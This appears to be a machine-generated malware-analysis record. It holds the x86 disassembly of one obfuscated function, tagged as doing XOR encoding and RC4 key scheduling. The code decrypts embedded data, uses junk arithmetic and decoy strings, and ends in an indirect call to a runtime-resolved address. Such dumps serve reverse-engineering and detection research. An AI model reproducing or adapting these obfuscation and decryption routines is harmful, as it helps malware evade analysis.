Function at 0x6837139
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x19c
mov dword [ebp - 0x14], 0x13
xorps xmm2, xmm2
mov dword [ebp - 0x10], 0x5a
mov dword [ebp - 0xc], 0x4b
mov dword [ebp - 8], 0x32d
movups xmm1, xmmword [ebp - 0x14]
mov dword [ebp - 0x14], 7
mov dword [ebp - 0x10], 0x49
movaps xmm0, xmm1
mov dword [ebp - 0xc], 8
psrldq xmm0, 8
paddd xmm1, xmm0
mov dword [ebp - 8], 0x155
movups xmm0, xmm1
mov dword [ebp - 0x5c], ecx
psrldq xmm0, 4
mov ecx, 0xfbc
paddd xmm1, xmm0
movd eax, xmm1
movups xmm1, xmmword [ebp - 0x14]
push ebx
add eax, 0x1b
movaps xmm0, xmm1
mov dword [ebp - 0x54], eax
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
push esi
mov esi, dword [0x685859c]
psrldq xmm0, 4
add esi, 0x1e8152d0
paddd xmm1, xmm0
movd eax, xmm1
push edi
push 0x2e
add eax, 0x53
mov dword [ebp - 0x50], eax
mov eax, str.._AVCWMIMonitor_Piriform__
pop edx
add ecx, edx
inc eax
cmp ecx, 0x1c4f
ja 0x6837202
movsx edx, byte [eax]
test edx, edx
jne 0x68371e8
imul esi, esi, 0xce545716
jmp 0x683721b
xor esi, 0x38f21612
push ecx
mov dword [0x685859c], esi
call fcn.06836e73
pop ecx
add esi, 0xf7d31e04
add esi, 0x7c6c47da
mov dword [ebp - 0x18], 0x21
xor ebx, ebx
mov dword [ebp - 0x14], 0x18
mov ecx, ebx
mov dword [ebp - 0x10], 0x5c
mov dword [ebp - 0xc], 0x5f
mov eax, ebx
mov dword [ebp - 8], 0xffffff0c
sub ecx, dword [ebp + eax*4 - 0x18]
inc eax
cmp eax, 5
jl 0x683724a
push 0xd
pop eax
mov dword [ebp - 0x44], ebx
mov edi, ebx
mov ebx, str.cryptoctct_x509v3.c
mov dword [ebp - 0x18], eax
push 0x63
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x58], ecx
mov dword [ebp - 0x14], 0x4e
mov dword [ebp - 0xc], 0x34
mov dword [ebp - 8], 0xffffff64
mov dword [ebp - 0x4c], ebx
pop eax
mov ecx, ebx
mov edx, eax
lea eax, [edx - 0x30]
push 9
pop edx
cmp ax, dx
ja 0x68372a3
add ecx, 2
movzx eax, word [ecx]
mov edx, eax
test ax, ax
jne 0x6837289
jmp 0x68372a9
or esi, 0xe97553e1
call fcn.06836ee9
imul esi, esi, 0x8145d94c
mov edx, 0x220b
push 0x64
mov eax, str.div.resultsContainersContainer
pop ecx
or esi, 0x21b2cbac
add edx, ecx
inc eax
cmp edx, 0xa22
ja 0x68372db
movsx ecx, byte [eax]
test ecx, ecx
jne 0x68372c7
jmp 0x68372e6
add esi, 0x4b14d79e
call fcn.06836c07
mov eax, dword [ebp - 0x44]
sub eax, dword [ebp + edi*4 - 0x18]
imul esi, esi, 0xc6e96f14
push 0x63
mov dword [ebp - 0x44], eax
pop eax
or esi, 0xa0b30269
inc edi
cmp edi, 5
jl 0x6837285
push 0x15
pop eax
push 0xa
mov dword [ebp - 4], esi
lea edi, [ebp - 0x9c]
pop ecx
mov esi, str.._AUprogress_ctl_factory_behavior_html__
mov dword [ebp - 0x38], 0xda644ef3
rep movsd dword es:[edi], dword [esi]
push 0x48
mov dword [ebp - 0x34], 0xb772ecb6
xor ebx, ebx
mov word [ebp - 0x30], 0x868f
movsb byte es:[edi], byte [esi]
mov edi, str.HasField
mov byte [ebp - 0x2e], al
mov dword [ebp - 0x2d], 0x24568d3b
mov ecx, edi
mov dword [ebp - 0x29], 0x9a806074
mov dword [ebp - 0x25], 0x37af92ab
mov dword [ebp - 0x21], 0x7908ac43
mov dword [ebp - 0x1d], 0x71a21014
mov byte [ebp - 0x19], 0x31
pop edx
lea eax, [edx - 0x30]
push 9
pop edx
cmp ax, dx
ja 0x6837383
add ecx, 2
movzx eax, word [ecx]
mov edx, eax
test ax, ax
jne 0x6837366
mov esi, dword [ebp - 4]
jmp 0x683738a
imul esi, dword [ebp - 4], 0xfa015973
and esi, 0x1bd6bc34
mov dword [0x685859c], esi
call fcn.06836f53
push 0x48
mov edx, 0x304
mov eax, edi
pop ecx
add edx, ecx
lea eax, [eax + 2]
cmp edx, 0x1743
ja 0x68373bb
movzx ecx, word [eax]
test ecx, ecx
jne 0x68373a5
jmp 0x68373c8
push ecx
call fcn.068369d1
pop ecx
and esi, 0x23e240c7
or esi, 0xc6fab5c3
xor esi, 0x79ee4ab3
push ecx
mov dword [0x685859c], esi
call fcn.06836fd8
pop ecx
mov dword [ebp - 4], ebx
mov eax, ebx
mov byte [ebp + eax - 0x19c], al
inc eax
cmp eax, 0x100
jb 0x68373e6
mov edi, ebx
xor edx, edx
mov bl, byte [ebp + edi - 0x19c]
push 0x28
mov eax, edi
xor esi, 0x47dd3ec3
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x9c]
add eax, dword [ebp - 4]
add ecx, eax
movzx ecx, cl
mov dword [ebp - 4], ecx
mov al, byte [ebp + ecx - 0x19c]
mov byte [ebp + edi - 0x19c], al
inc edi
mov byte [ebp + ecx - 0x19c], bl
cmp edi, 0x100
jb 0x68373f7
xor ebx, ebx
mov dword [0x685859c], esi
mov dword [ebp - 4], ebx
mov ecx, ebx
mov dword [ebp - 8], ebx
mov eax, str.HasField
inc ecx
lea eax, [eax + 2]
cmp ecx, 0x489
jg 0x6837469
cmp word [eax], bx
jne 0x6837456
jmp 0x6837476
push ecx
call fcn.06836fd8
pop ecx
and esi, 0x3f06d9a2
imul esi, esi, 0x23ba7bd
mov edi, ebx
sub esi, 0x23d35eb7
mov ecx, ebx
mov eax, str.cryptoctct_x509v3.c
inc ecx
lea eax, [eax + 2]
cmp ecx, 0xcba
jl 0x683749e
cmp word [eax], bx
jne 0x683748b
jmp 0x68374a9
call fcn.06836a98
and esi, 0x7a9ffa3e
call fcn.068368d1
mov eax, dword [ebp - 8]
xor esi, 0xfdffffff
inc eax
and esi, 0x86006000
movzx eax, al
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 8]
imul esi, esi, 0xe0ecfbe5
mov cl, byte [ebp + eax - 0x19c]
mov eax, dword [ebp - 4]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 4], eax
push 0
mov al, byte [ebp + eax - 0x19c]
mov byte [ebp + ebx - 0x19c], al
mov eax, dword [ebp - 4]
mov byte [ebp + eax - 0x19c], cl
mov eax, ebx
pop ebx
movzx eax, byte [ebp + eax - 0x19c]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x19c]
xor al, byte [ebp + edi - 0x38]
mov byte [ebp + edi - 0x94], al
inc edi
cmp edi, 0x20
jb 0x6837484
push 0x63
mov ecx, str.cryptoctct_x509v3.c
pop edx
lea eax, [edx - 0x30]
push 9
pop edx
cmp ax, dx
ja 0x683754a
add ecx, 2
movzx eax, word [ecx]
mov edx, eax
test ax, ax
jne 0x6837530
jmp 0x6837550
sub esi, 0x69bd6198
or esi, 0xdddf7d0e
mov edi, str.HasField
push 0x48
add esi, 0x4ef948e
mov edx, 0x1c74
mov eax, edi
pop ecx
add edx, ecx
lea eax, [eax + 2]
cmp edx, 0xc24
ja 0x6837581
movzx ecx, word [eax]
test ecx, ecx
jne 0x683756b
jmp 0x6837587
add esi, 0x56f7b350
or esi, 0xf0c948ab
mov byte [ebp - 0x74], bl
add esi, 0x8454c
mov ecx, edi
push 0x48
and esi, 0x11a9c416
pop edx
lea eax, [edx - 0x30]
push 9
pop edx
cmp ax, dx
ja 0x68375bb
add ecx, 2
movzx eax, word [ecx]
mov edx, eax
test ax, ax
jne 0x68375a1
jmp 0x68375c1
sub esi, 0x1cf1a71a
xor esi, 0xc8c22f67
push ecx
mov dword [0x685859c], esi
call fcn.068369d1
pop ecx
imul esi, esi, 0xdd5aabfc
mov edi, ebx
push 0x48
mov ecx, str.HasField
pop edx
lea eax, [edx - 0x30]
push 9
pop edx
cmp ax, dx
ja 0x68375fe
add ecx, 2
movzx eax, word [ecx]
mov edx, eax
test ax, ax
jne 0x68375e4
jmp 0x6837604
or esi, 0x8358510b
or esi, 0x5dd5a75
mov dword [0x685859c], esi
call fcn.06836cbf
push 0x2e
mov edx, 0x186e
mov eax, str.._AVCWMIMonitor_Piriform__
pop ecx
add edx, ecx
inc eax
cmp edx, 0xc8d
ja 0x6837636
movsx ecx, byte [eax]
test ecx, ecx
jne 0x6837622
jmp 0x6837645
push ecx
push ecx
call fcn.06836d8a
pop ecx
pop ecx
or esi, 0xdf7fcad1
xor esi, 0x787cbf66
call fcn.06836f53
inc edi
cmp edi, 0x100
jb 0x68375dc
push 0x48
and esi, 0xfe22190
mov ecx, str.HasField
pop edx
lea eax, [edx - 0x30]
push 9
pop edx
cmp ax, dx
ja 0x6837681
add ecx, 2
movzx eax, word [ecx]
mov edx, eax
test ax, ax
jne 0x6837667
jmp 0x6837687
sub esi, 0x6663c1ba
xor esi, 0xeeba6db2
mov eax, ebx
inc eax
cmp eax, 0xc9e
jl 0x68376a2
cmp byte [eax + str.._AVCWMIMonitor_Piriform__], 0
jne 0x683768f
jmp 0x68376af
xor esi, 0x9dc395f8
cmp eax, 0x155
jle 0x68376b7
xor esi, 0x5830834b
jmp 0x68376bd
and esi, 0x112ea1c9
mov ecx, ebx
imul eax, esi, 0x1e658cc8
or eax, 0x872bcd22
inc ecx
cmp ecx, 0x20
jb 0x68376c5
push 3
mov edx, ebx
mov dword [ebp - 0x10], 0x29
mov dword [ebp - 0xc], 0x46
mov ecx, ebx
mov dword [ebp - 8], 0xffffff91
pop esi
sub edx, dword [ebp + ecx*4 - 0x10]
inc ecx
cmp ecx, esi
jl 0x68376ec
push 0x34
mov dword [ebp - 0x68], edx
mov ecx, ebx
mov dword [ebp - 0x10], 0x22
mov dword [ebp - 0xc], 0x40
mov dword [ebp - 8], 0x36a
pop edx
add edx, dword [ebp + ecx*4 - 0x10]
inc ecx
cmp ecx, esi
jl 0x6837712
push 2
mov dword [ebp - 0x64], edx
mov ecx, ebx
pop edx
mov dword [ebp - 0x10], 0x39
mov dword [ebp - 0xc], 0x1f
mov dword [ebp - 8], 0x1a6
add edx, dword [ebp + ecx*4 - 0x10]
inc ecx
cmp ecx, esi
jl 0x6837738
push 0x62
mov dword [ebp - 0x60], edx
mov ecx, ebx
pop edx
mov dword [ebp - 0x10], 0x1e
mov dword [ebp - 0xc], 0x45
mov dword [ebp - 8], 0xffffff3b
add edx, dword [ebp + ecx*4 - 0x10]
inc ecx
cmp ecx, esi
jl 0x683775e
mov dword [ebp - 0x14], 0x59
lea edi, [ebp - 0x30]
mov dword [ebp - 0x10], 0x57
mov esi, str.invalid_format_string
mov dword [ebp - 0xc], 0x56
mov dword [ebp - 8], 0xfffffef0
movups xmm1, xmmword [ebp - 0x14]
push 5
mov dword [ebp - 0x6c], edx
paddd xmm1, xmm2
mov dword [ebp - 0x40], 0x13ffa3fc
movaps xmm0, xmm1
mov byte [ebp - 0x3c], 0x62
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd ecx, xmm1
add ecx, 0xb
xor eax, 0xdf9f5139
mov dword [ebp - 0x70], ecx
pop ecx
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
movsw word es:[edi], word [esi]
mov edi, ebx
mov byte [ebp + ecx - 0x19c], cl
inc ecx
cmp ecx, 0x100
jb 0x68377d3
mov esi, ebx
imul eax, eax, 0xef93987c
xor edx, edx
push 0x15
pop ecx
mov bl, byte [ebp + esi - 0x19c]
mov dword [ebp - 8], eax
mov eax, esi
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x30]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x19c]
mov byte [ebp + esi - 0x19c], al
inc esi
mov eax, dword [ebp - 8]
mov byte [ebp + edi - 0x19c], bl
cmp esi, 0x100
jb 0x68377e5
push 0x63
pop esi
xor ebx, ebx
mov ecx, eax
push 9
mov dword [ebp - 4], ebx
or ecx, 0x399cd2c
mov edx, str.cryptoctct_x509v3.c
pop edi
lea eax, [esi - 0x30]
cmp ax, di
ja 0x683785d
add edx, 2
movzx eax, word [edx]
mov esi, eax
test ax, ax
jne 0x6837846
jmp 0x6837863
xor ecx, 0x3304b2d
mov edi, ebx
lea esi, [ecx - 0x21b8e3da]
push 0x48
add esi, 0x5e3a094e
mov ecx, str.HasField
pop edx
lea eax, [edx - 0x30]
push 9
pop edx
cmp ax, dx
ja 0x6837893
add ecx, 2
movzx eax, word [ecx]
mov edx, eax
test ax, ax
jne 0x6837879
jmp 0x6837899
and esi, 0xc66b2684
sub esi, 0x484362f1
mov dword [0x685859c], esi
call fcn.06836be8
lea eax, [ebx + 1]
movzx ebx, al
mov eax, dword [ebp - 4]
mov cl, byte [ebp + ebx - 0x19c]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 4], eax
mov al, byte [ebp + eax - 0x19c]
mov byte [ebp + ebx - 0x19c], al
mov eax, dword [ebp - 4]
mov byte [ebp + eax - 0x19c], cl
movzx eax, byte [ebp + ebx - 0x19c]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x19c]
xor al, byte [ebp + edi - 0x40]
mov byte [ebp + edi - 0xc], al
inc edi
cmp edi, 5
jb 0x683786b
xor ebx, ebx
mov dword [ebp - 0x2c], 0x2d
mov byte [ebp - 7], bl
mov ecx, 0x1068
mov dword [ebp - 0x28], 0x12
mov eax, ebx
mov dword [ebp - 0x24], 0x4a
mov dword [ebp - 0x20], 0x61
mov dword [ebp - 0x1c], 0xe20
sub ecx, dword [ebp + eax*4 - 0x2c]
inc eax
cmp eax, 5
jl 0x6837932
mov dword [ebp - 0x48], ecx
call fcn.0684b56b
call fcn.0683512f
test eax, eax
jne 0x6837abc
mov ecx, dword [ebp - 0x50]
imul ecx, dword [ebp - 0x54]
call fcn.06842ed9
mov edi, eax
call fcn.068324dc
test eax, eax
jne 0x6837abc
call fcn.068344bc
test eax, eax
je 0x6837984
or dword [0x685859c], 0x5c62497
jmp 0x6837abc
cmp edi, dword [ebp - 0x58]
je 0x6837abc
call fcn.068348b5
test eax, eax
jne 0x6837abc
mov ecx, dword [ebp - 0x5c]
mov edx, edi
call fcn.0683aec0
mov esi, eax
mov dword [ebp - 4], esi
call fcn.06831f61
test eax, eax
je 0x68379f3
push 0x63
pop ecx
lea eax, [ecx - 0x30]
push 9
pop ecx
cmp ax, cx
ja 0x68379da
mov eax, dword [ebp - 0x4c]
add eax, 2
mov dword [ebp - 0x4c], eax
movzx eax, word [eax]
mov ecx, eax
test ax, ax
jne 0x68379b5
mov eax, dword [0x685859c]
jmp 0x68379e4
mov eax, dword [0x685859c]
or eax, 0x8b97d28f
xor eax, 0xe6a1b607
mov dword [0x685859c], eax
jmp 0x6837abc
imul eax, dword [0x685859c], 0x762cb6db
mov ecx, esi
mov dword [0x685859c], eax
call fcn.06842ed9
mov esi, eax
cmp esi, dword [ebp - 0x44]
jne 0x6837a1f
and dword [0x685859c], 0x4457c7b
jmp 0x6837abc
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x94]
push esi
push ecx
push eax
mov ecx, edi
call fcn.068479c1
add esp, 0xc
inc ebx
cmp ebx, 0x1555
jl 0x6837a4e
cmp byte [ebx + str.div.resultsContainersContainer], 0
jne 0x6837a35
mov eax, dword [0x685859c]
jmp 0x6837a61
push ecx
push ecx
call fcn.06837011
imul eax, dword [0x685859c], 0x9d71229c
pop ecx
pop ecx
imul eax, eax, 0x2c5886
push ecx
or eax, 0xbd23b1ba
mov dword [0x685859c], eax
call fcn.06836e73
mov eax, dword [ebp - 0x60]
imul eax, dword [ebp - 0x64]
push eax
push dword [ebp - 0x68]
push edi
call fcn.068433e9
mov ecx, edi
call fcn.068431a2
mov ecx, esi
call fcn.06844c62
push dword [ebp - 4]
push dword [ebp - 0x6c]
push esi
call fcn.068433e9
add esp, 0x1c
mov ecx, esi
call fcn.068431a2
push dword [ebp - 0x48]
mov ecx, dword [ebp - 0x70]
lea edx, [ebp - 0xc]
call fcn.0684b5c7
call eax
pop edi
pop esi
pop ebx
leave
ret